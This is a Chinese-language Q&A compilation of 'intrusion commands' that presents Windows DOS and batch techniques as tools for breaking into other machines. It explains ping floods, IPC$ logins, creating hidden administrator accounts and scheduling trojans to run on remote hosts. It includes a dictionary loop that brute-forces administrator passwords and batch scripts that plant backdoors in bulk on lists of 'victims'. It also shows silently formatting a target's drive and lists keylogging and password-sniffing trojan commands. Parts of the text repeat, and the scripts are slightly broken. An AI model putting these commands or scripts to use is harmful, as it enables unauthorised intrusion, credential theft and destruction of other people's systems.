導航:首頁 > 程序命令 > 入侵命令大全

入侵命令大全

發布時間:2022-04-27 13:20:58

❶ 哪位有網站入侵提權方面的命令收集,還有NC,埠轉發之類命令大全收集的,謝謝分享下

你最好聯系具體個人,這種東西很少會公開的,除非某些專業論壇,但是通常是要注冊收費的。
也許有人會單獨聯系你,不過~~~~~盜亦有道。。。。。。。。。。。。。

❷ 求常用DOS命令大全及其用法!!!

既然自己不願搜,我就幫你搜吧
一,ping

它是用來檢查網路是否通暢或者網路連接速度的命令。作為一個生活在網路上的管理員或者黑客來說,ping命令是第一個必須掌握的DOS命令,它所利用的原理是這樣的:網路上的機器都有唯一確定的IP地址,我們給目標IP地址發送一個數據包,對方就要返回一個同樣大小的數據包,根據返回的數據包我們可以確定目標主機的存在,可以初步判斷目標主機的操作系統等。下面就來看看它的一些常用的操作。先看看幫助吧,在DOS窗口中鍵入:ping /? 回車,出現如圖1。所示的幫助畫面。在此,我們只掌握一些基本的很有用的參數就可以了(下同)。

-t 表示將不間斷向目標IP發送數據包,直到我們強迫其停止。試想,如果你使用100M的寬頻接入,而目標IP是56K的小貓,那麼要不了多久,目標IP就因為承受不了這么多的數據而掉線,呵呵,一次攻擊就這么簡單的實現了。

-l 定義發送數據包的大小,默認為32位元組,我們利用它可以最大定義到65500位元組。結合上面介紹的-t參數一起使用,會有更好的效果哦。

-n 定義向目標IP發送數據包的次數,默認為3次。如果網路速度比較慢,3次對我們來說也浪費了不少時間,因為現在我們的目的僅僅是判斷目標IP是否存在,那麼就定義為一次吧。

說明一下,如果-t 參數和 -n參數一起使用,ping命令就以放在後面的參數為標准,比如「ping IP -t -n 3」,雖然使用了-t參數,但並不是一直ping下去,而是只ping 3次。另外,ping命令不一定非得ping IP,也可以直接ping主機域名,這樣就可以得到主機的IP。

下面我們舉個例子來說明一下具體用法,如圖2。

這里time=2表示從發出數據包到接受到返回數據包所用的時間是2秒,從這里可以判斷網路連接速度的大小 。從TTL的返回值可以初步判斷被ping主機的操作系統,之所以說「初步判斷」是因為這個值是可以修改的。這里TTL=32表示操作系統可能是win98。
(小知識:如果TTL=128,則表示目標主機可能是Win2000;如果TTL=250,則目標主機可能是Unix)
至於利用ping命令可以快速查找區域網故障,可以快速搜索最快的QQ伺服器,可以對別人進行ping攻擊……這些就靠大家自己發揮了。

二,nbtstat

該命令使用TCP/IP上的NetBIOS顯示協議統計和當前TCP/IP連接,使用這個命令你可以得到遠程主機的NETBIOS信息,比如用戶名、所屬的工作組、網卡的MAC地址等。在此我們就有必要了解幾個基本的參數。

-a 使用這個參數,只要你知道了遠程主機的機器名稱,就可以得到它的NETBIOS信息如圖3(下同)。

-A 這個參數也可以得到遠程主機的NETBIOS信息,但需要你知道它的IP。
-n 列出本地機器的NETBIOS信息。

當得到了對方的IP或者機器名的時候,就可以使用nbtstat命令來進一步得到對方的信息了,這又增加了我們入侵的保險系數。

三,netstat
這是一個用來查看網路狀態的命令,操作簡便功能強大。

-a 查看本地機器的所有開放埠,可以有效發現和預防木馬,可以知道機器所開的服務等信息,如圖4。

這里可以看出本地機器開放有FTP服務、Telnet服務、郵件服務、WEB服務等。用法:netstat -a IP。
-r 列出當前的路由信息,告訴我們本地機器的網關、子網掩碼等信息。用法:netstat -r IP。

四,tracert
跟蹤路由信息,使用此命令可以查出數據從本地機器傳輸到目標主機所經過的所有途徑,這對我們了解網路布局和結構很有幫助。如圖5。

這里說明數據從本地機器傳輸到192.168.0.1的機器上,中間沒有經過任何中轉,說明這兩台機器是在同一段區域網內。用法:tracert IP。

五,net

這個命令是網路命令中最重要的一個,必須透徹掌握它的每一個子命令的用法,因為它的功能實在是太強大了,這簡直就是微軟為我們提供的最好的入侵工具。首先讓我們來看一看它都有那些子命令,鍵入net /?回車如圖6。

在這里,我們重點掌握幾個入侵常用的子命令。

net view

使用此命令查看遠程主機的所以共享資源。命令格式為net view \\IP。如圖7。

net use
把遠程主機的某個共享資源影射為本地盤符,圖形界面方便使用,呵呵。命令格式為net use x: \\IP\sharename。上面一個表示把192.168.0.5IP的共享名為magic的目錄影射為本地的Z盤。下面表示和192.168.0.7建立IPC$連接(net use \\IP\IPC$ "password" /user:"name"),如圖8。

建立了IPC$連接後,呵呵,就可以上傳文件了: nc.exe \\192.168.0.7\admin$,表示把本地目錄下的nc.exe傳到遠程主機,結合後面要介紹到的其他DOS命令就可以實現入侵了。

net start
使用它來啟動遠程主機上的服務。當你和遠程主機建立連接後,如果發現它的什麼服務沒有啟動,而你又想利用此服務怎麼辦?就使用這個命令來啟動吧。用法:net start servername,如圖9,成功啟動了telnet服務。

net stop
入侵後發現遠程主機的某個服務礙手礙腳,怎麼辦?利用這個命令停掉就ok了,用法和net start同。

net user
查看和帳戶有關的情況,包括新建帳戶、刪除帳戶、查看特定帳戶、激活帳戶、帳戶禁用等。這對我們入侵是很有利的,最重要的,它為我們克隆帳戶提供了前提。鍵入不帶參數的net user,可以查看所有用戶,包括已經禁用的。下面分別講解。
1,net user abcd 1234 /add,新建一個用戶名為abcd,密碼為1234的帳戶,默認為user組成員。
2,net user abcd /del,將用戶名為abcd的用戶刪除。
3,net user abcd /active:no,將用戶名為abcd的用戶禁用。
4,net user abcd /active:yes,激活用戶名為abcd的用戶。
5,net user abcd,查看用戶名為abcd的用戶的情況,如圖10。

net localgroup
查看所有和用戶組有關的信息和進行相關操作。鍵入不帶參數的net localgroup即列出當前所有的用戶組。在入侵過程中,我們一般利用它來把某個帳戶提升為administrator組帳戶,這樣我們利用這個帳戶就可以控制整個遠程主機了。用法:net localgroup groupname username /add,如圖11。

現在我們把剛才新建的用戶abcd加到administrator組里去了,這時候abcd用戶已經是超級管理員了,呵呵,你可以再使用net user abcd來查看他的狀態,和圖10進行比較就可以看出來。但這樣太明顯了,網管一看用戶情況就能漏出破綻,所以這種方法只能對付菜鳥網管,但我們還得知道。現在的手段都是利用其他工具和手段克隆一個讓網管看不出來的超級管理員,這是後話。有興趣的朋友可以參照《黑客防線》第30期上的《由淺入深解析隆帳戶》一文。

net time
這個命令可以查看遠程主機當前的時間。如果你的目標只是進入到遠程主機裡面,那麼也許就用不到這個命令了。但簡單的入侵成功了,難道只是看看嗎?我們需要進一步滲透。這就連遠程主機當前的時間都需要知道,因為利用時間和其他手段(後面會講到)可以實現某個命令和程序的定時啟動,為我們進一步入侵打好基礎。用法:net time \\IP。如圖12。

六,at

這個命令的作用是安排在特定日期或時間執行某個特定的命令和程序(知道net time的重要了吧?)。當我們知道了遠程主機的當前時間,就可以利用此命令讓其在以後的某個時間(比如2分鍾後)執行某個程序和命令。用法:at time command \\computer。如圖13。

表示在6點55分時,讓名稱為a-01的計算機開啟telnet服務(這里net start telnet即為開啟telnet服務的命令)。

七,ftp

大家對這個命令應該比較熟悉了吧?網路上開放的ftp的主機很多,其中很大一部分是匿名的,也就是說任何人都可以登陸上去。現在如果你掃到了一台開放ftp服務的主機(一般都是開了21埠的機器),如果你還不會使用ftp的命令怎麼辦?下面就給出基本的ftp命令使用方法。
首先在命令行鍵入ftp回車,出現ftp的提示符,這時候可以鍵入「help」來查看幫助(任何DOS命令都可以使用此方法查看其幫助),如圖14。

大家可能看到了,這么多命令該怎麼用?其實也用不到那麼多,掌握幾個基本的就夠了。

首先是登陸過程,這就要用到open了,直接在ftp的提示符下輸入「open 主機IP ftp埠」回車即可,一般埠默認都是21,可以不寫。接著就是輸入合法的用戶名和密碼進行登陸了,這里以匿名ftp為例介紹,如圖15。

用戶名和密碼都是ftp,密碼是不顯示的。當提示**** logged in時,就說明登陸成功。這里因為是匿名登陸,所以用戶顯示為Anonymous。

接下來就要介紹具體命令的使用方法了,如圖16。

dir 跟DOS命令一樣,用於查看伺服器的文件,直接敲上dir回車,就可以看到此ftp伺服器上的文件。
cd 進入某個文件夾
get 下載文件到本地機器。
put 上傳文件到遠程伺服器。這就要看遠程ftp伺服器是否給了你可寫的許可權了,如果可以,呵呵,該怎麼 利用就不多說了,大家就自由發揮去吧。
delete 刪除遠程ftp伺服器上的文件。這也必須保證你有可寫的許可權。
bye 退出當前連接。
quit 同上。

八,telnet
功能強大的遠程登陸命令,幾乎所有的入侵者都喜歡用它,屢試不爽。為什麼?它操作簡單,如同使用自己的機器一樣,只要你熟悉DOS命令,在成功以administrator身份連接了遠程機器後,就可以用它來干你想乾的一切了。下面介紹一下使用方法,首先鍵入telnet回車,再鍵入help查看其幫助信息,如圖17。

然後在提示符下鍵入open IP回車,這時就出現了登陸窗口,讓你輸入合法的用戶名和密碼,這里輸入任何密碼都是不顯示的,如圖18。

當輸入用戶名和密碼都正確後就成功建立了telnet連接,這時候你就在遠程主機上具有了和此用戶一樣的許可權,利用DOS命令就可以實現你想乾的事情了,如圖19。這里我使用的超級管理員許可權登陸的。

❸ 批處理命令

平時收藏了好多,不過這里寫不下那麼多~ 需要的時候郵件發給你吧~

批處理文件是無格式的文本文件,它包含一條或多條命令。它的文件擴展名為 .bat 或 .cmd。在命令提示下鍵入批處理文件的名稱,或者雙擊該批處理文件,系統就會調用Cmd.exe按照該文件中各個命令出現的順序來逐個運行它們。使用批處理文件(也被稱為批處理程序或腳本),可以簡化日常或重復性任務。當然我們的這個版本的主要內容是介紹批處理在入侵中一些實際運用,例如我們後面要提到的用批處理文件來給系統打補丁、批量植入後門程序等。下面就開始我們批處理學習之旅吧。

一.簡單批處理內部命令簡介

1.Echo 命令
打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯設置。
語法
echo [{on|off}] [message]
Sample:@echo off / echo hello world
在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。

2.@ 命令
表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓對方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。)

3.Goto 命令
指定跳轉到標簽,找到標簽後,程序將處理從下一行開始的命令。
語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto命令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。

4.Rem 命令
注釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個注釋的作用,便於別人閱讀和你自己日後修改。
Rem Message
Sample:@Rem Here is the description.

5.Pause 命令
運行 Pause 命令時,將顯示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在這個例子中,驅動器 A 中磁碟上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁碟放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁碟,然後按任意鍵繼續處理。

6.Call 命令
從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。
語法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
參數
[Drive:}[Path] FileName
指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。

7.start 命令
調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。
入侵常用參數:
MIN 開始時窗口最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程序
HIGH 在 HIGH 優先順序類別開始應用程序
REALTIME 在 REALTIME 優先順序類別開始應用程序
WAIT 啟動應用程序並等候它結束
parameters 這些為傳送到命令/程序的參數
執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE 不等應用程序終止就返回命令提示。如果在命令腳本內執行,該新行為則不會發生。
8.choice 命令
choice 使用此命令可以讓用戶輸入一個字元,從而運行不同的命令。使用時應該加/c:參數,c:後應寫提示可輸入的字元,之間無空格。它的返回碼為1234……
如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的內容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye

此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good bye,文件結束。

9.If 命令

if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式:
1、if "參數" == "字元串" 待執行的命令
參數如果等於指定的字元串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2、if exist 文件名 待執行的命令
如果有指定的文件,則條件成立,運行命令,否則運行下一句。
如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 數字 待執行的命令
如果返回碼等於指定的數字,則條件成立,運行命令,否則運行下一句。
如if errorlevel 2 goto x2
DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。

10.for 命令
for 命令是一個比較復雜的命令,主要用於參數在指定的范圍內循環執行命令。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters 為特定命令指定參數或命令行開關。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable
而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %I

如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到
支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符,則指定與目錄名匹配,而不與文件
名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的
FOR 語句。如果在 /R 後沒有指定目錄,則使用當前
目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。

FOR /L %variable IN (start,step,end) DO command [command-para

該集表示以增量形式從開始到結束的一個數字序列。
因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

或者,如果有 usebackq 選項:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

filenameset 為一個或多個文件名。繼續到 filenameset 中的
下一個文件之前,每份文件都已被打開、讀取並經過處理。
處理包括讀取文件,將其分成一行行的文字,然後將每行
解析成零或更多的符號。然後用已找到的符號字元串變數值
調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開
的第一個空白符號。跳過空白行。您可通過指定可選 "options"
參數替代默認解析*作。這個帶引號的字元串包括一個或多個
指定不同解析選項的關鍵字。這些關鍵字為:

eol=c - 指一個行注釋字元的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的
默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代
的 for 本身。這會導致額外變數名稱的
格式為一個范圍。通過 nth 符號指定 m
符號字元串中的最後一個字元星號,
那麼額外的變數將在最後一個符號解析之
分配並接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字元串並且
引號字元為文字字元串命令並允許在 fi
中使用雙引號擴起文件名稱。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將
每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或
空格定界符號。請注意,這個 for 程序體的語句引用 %i 來
取得第二個符號,引用 %j 來取得第三個符號,引用 %k
來取得第三個符號後的所有剩餘符號。對於帶有空格的文件
名,您需要用雙引號將文件名括起來。為了用這種方式來使
用雙引號,您還需要使用 usebackq 選項,否則,雙引號會
被理解成是用作定義某個要分析的字元串的。

%i 專門在 for 語句中得到說明,%j 和 %k 是通過
tokens= 選項專門得到說明的。您可以通過 tokens= 一行
指定最多 26 個符號,只要不試圖說明一個高於字母 z 或
Z 的變數。請記住,FOR 變數是單一字母、分大小寫和全局的;
同時不能有 52 個以上都在使用中。

您還可以在相鄰字元串上使用 FOR /F 分析邏輯;方法是,
用單引號將括弧之間的 filenameset 括起來。這樣,該字元
串會被當作一個文件中的一個單一輸入行。

最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將
括弧之間的 filenameset 變成一個反括字元串。該字元串會
被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進
內存,並被當作文件分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

會枚舉當前環境中的環境變數名稱。

另外,FOR 變數參照的替換已被增強。您現在可以使用下列
選項語法:

~I - 刪除任何引號("),擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個完全合格的名稱。如果環境變數
未被定義,或者沒有找到文件,此組合鍵會擴充
空字元串

可以組合修飾符來得到多重結果:

%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和擴展名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR

在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法
用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名
比較易讀,而且避免與不分大小寫的組合鍵混淆。

以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。

sample2:

利用For命令來實現對一台目標Win2k主機的暴力密碼破解。
我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接,當成功時記下密碼。
最主要的命令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,這樣就ko了。

sample3:

你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。那麼如何實現呢?呵呵,看下去你就會明白了。

主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變數使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連接,並木馬+後門到victim,然後用返回碼(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的文件。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip password username。
代碼雛形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序(Windrv32.exe),PSexec.exe需放在統一目錄下.批處理內容
尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.

No.2
二.如何在批處理文件中使用參數
批處理中可以使用參數,一般從1%到 9%這九個,當有多個參數時需要用shift來移動,這種情況並不多見,我們就不考慮它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
這個例子用於連續地格式化幾張軟盤,所以用的時候需在dos窗口輸入fomat.bat a,呵呵,好像有點畫蛇添足了~^_^
sample2:
當我們要建立一個IPC$連接地時候總要輸入一大串命令,弄不好就打錯了,所以我們不如把一些固定命令寫入一個批處理,把肉雞地ip password username 當著參數來賦給這個批處理,這樣就不用每次都打命令了。
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,這里PASSWORD是第二個參數。
@if errorlevel 1 echo connection failed
怎麼樣,使用參數還是比較簡單的吧?你這么帥一定學會了^_^.No.3
三.如何使用組合命令(Compound Command)

1.&

Usage:第一條命令 & 第二條命令 [& 第三條命令...]

用這種方法可以同時執行多條命令,而不管命令是否執行成功

Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:51
.
2002-05-14 23:51
..
2002-05-14 23:51 14 sometips.gif

2.&&

Usage:第一條命令 && 第二條命令 [&& 第三條命令...]

用這種方法可以同時執行多條命令,當碰到執行出錯的命令後將不執行後面的命令,如果一直沒有出錯則一直執行完所有命令;

Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.

C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:55
.
2002-05-14 23:55
..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.

在做備份的時候可能會用到這種命令會比較簡單,如:
dir file://192.168.0.1/database/backup.mdb && file://192.168.0.1/database/backup.mdb E:\backup
如果遠程伺服器上存在backup.mdb文件,就執行命令,若不存在該文件則不執行命令。這種用法可以替換IF exist了 :)

3.||

Usage:第一條命令 || 第二條命令 [|| 第三條命令...]

用這種方法可以同時執行多條命令,當碰到執行正確的命令後將不執行後面的命令,如果沒有出現正確的命令則一直執行完所有命令;

Sample:
C:\Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of C:\Ex4rch

2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free

組合命令使用的例子:
sample:
@ trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

在打命令前鍵入不敷出@echo
@表示不顯示本行
echo表示不顯示批處理文件運行時的窗口。

在批處理文件的第一行添加「@echo off」即可

一:
windows的命令行模式
(win+R)在裡面寫CMD就可以進入windows的命令行模式了
二 :
批處理文件
批處理文件是無格式的文本文件,它包含一條或多條命令。它的文件擴展名為 .bat 或 .cmd。在命令提示下鍵入批處理文件的名稱,或者雙擊該批處理文件,系統就會調用Cmd.exe按照該文件中各個命令出現的順序來逐個運行它們。使用批處理文件(也被稱為批處理程序或腳本),可以簡化日常或重復性任務。當然我們的這個版本的主要內容是介紹批處理在入侵中一些實際運用,例如我們後面要提到的用批處理文件來給系統打補丁、批量植入後門程序等。下面就開始我們批處理學習之旅吧。 (本文因篇幅較長,所以分成兩部份。前半部份講命令,後半部分講實例分析。)
一、簡單批處理內部命令簡介
1.Echo 命令

打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯設置。
語法
echo [{on off}] [message]
Sample:@echo off / echo hello world
在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。
2.@ 命令
表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓對方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。)
3.Goto 命令
指定跳轉到標簽,找到標簽後,程序將處理從下一行開始的命令。
語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)
@Rem check parameters if null show usage
:noparms

❹ 用什麼dos命令在有IP,用戶名,和密碼的攻擊對方

DOS命令下的入侵命令大全
DOS
切換到MS-DOS提示符
DIR/LS/LIST
目錄/文件列表
CD
進入目錄
MD/MKDIR
創建目錄
PWD
查看當前目錄
COPY/CP
復制目錄/文件
DEL/RM
刪除目錄/文件
REN
重命名文件
MOVE/MV
移動目錄/文件
TYPE/CAT
查看文本內容
POPMSG
彈出系統對話框
SYSINFO
查看系統基本信息
WHO/W
查看當前所有鏈接者IP
SHELL
通過系統SHELL執行CMD命令
EXEC/RUN
通過WINDOWS
API
運行程序
WS
查看窗口列表
PS
查看進程列表
KILL
強行關閉進程
GET/GETFILE
通過WOLLF直接下載文件
PUT/PUTFILE
通過WOLLF直接上傳文件
WGET
從HTTP伺服器下載文件
FGET
從FTP伺服器下載文件
FPUT
向FTP伺服器上傳文件
TELNET
連接到其它安裝本服務的機器
FTPD
啟動FTP服務
TELNETD/TELD/EXPOPT
在新埠上輸入SHELL
REDIR
綁定TCP埠,並轉發接收到的所有數據
REDIR_STOP
停止埠轉發
SNIFF
鑒聽區域網內FTP/SMTP/POP3/HTTP
密碼《該功能只對XP和2000有限》
SNIFF_STOP
停止鑒聽密碼
KEYLOG
啟動鍵盤記錄
KEYLOG_STOP
停止鍵盤記錄
REBOOT
重啟系統
SHUTDOWN
關閉系統
EXIT
斷開當前鏈接
QUIT
斷開所有鏈接並停止服務
REMOVE
卸載服務
VERVERSION
版本信息
HELP/H/?
幫助信息
建立IPC$共享的命令
net
use
\目標IPipc$
"賬號密碼"
/user:賬號
添加管理員賬號命令
net
user
用戶名
密碼
/add
添加到管理員組
再次運行命令
net
localgroup
administrators
用戶名
/add
返回遠程主機當前時間
net
time
\遠程主機IP
在遠程主機1:00啟動muma.exe這個服務
at
\遠程主機IP
1:00
muma.exe
遠程拷貝命令:1.把本地C盤下的muma.exe復制到目標IP的C盤下命令格式為:
muma.exe
\目標IPc$muma.exe
2.把本地C盤下的muma.exe復制到目標IP的WINNT目錄裡面命令為:
muma.exe
\目標IPadmin$muma.exe
啟動TELNET服務命令為:net
start
telnet
關閉TELNET服務命令為:net
stop
telnet
查看計算機上賬號列表:net
user
把GUEST用戶激活:net
user
guest
/active:yse
把GUEST的密碼改為123:
net
userguest
123
關閉對方的NT伺服器命令:
shutdown
\目標IP
time
註:time是重啟時間
查看對方機器系統類型:type
c:oot.ini
查看對方機器IP:ipconfig
/all
與對方建立共享並映射驅動驅到本地Z盤:net
use
z:
\192.168.0.1c$
"7788"
/user:"administrator"

❺ 入侵網站的命令大全

黑客常用命令大全
net user hei lovechina /add 加一個hei的用戶密碼為lovechina
net localgroup Administrators hei /add 把他加入Administrator組
net start telnet 開對方的TELNET服務
net use z:\127.0.0.1c$ 映射對方的C盤
net user guest /active:yes 將Guest用戶激活
net user guest lovechina 把guest的密碼改為lovechina
net user 查看所有用戶列表
net user 用戶名 /delete 刪掉
net time \\127.0.0.1 得到對方的時間, get c:\index.htm d:\ 上傳的文件是INDEX.HTM,它位於C:\下,傳到對方D:\ index.htm \\127.0.0.1\c$\index.htm 本地C盤下的index.htm復制到127.0.0.1的C盤
NET VIEW 顯示域列表、計算機列表或指定計算機的共
計算機運行命令全集 winver---------檢查Windows版本
wmimgmt.msc----打開windows管理體系結構
wupdmgr--------windows更新程序
winver---------檢查Windows版本
wmimgmt.msc----打開windows管理體系結構
wupdmgr--------windows更新程序
wscript--------windows腳本宿主設置
write----------寫字板winmsd-----系統信息
wiaacmgr-------掃描儀和照相機向導
winchat--------XP自帶區域網聊天
mem.exe--------顯示內存使用情況
Msconfig.exe---系統配置實用程序
mplayer2-------簡易widnows media player
mspaint--------畫圖板
mstsc----------遠程桌面連接
net use \\ip\ipc$ " " /user:" " 建立IPC空鏈接
net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸後映射對方C:到本地為H:
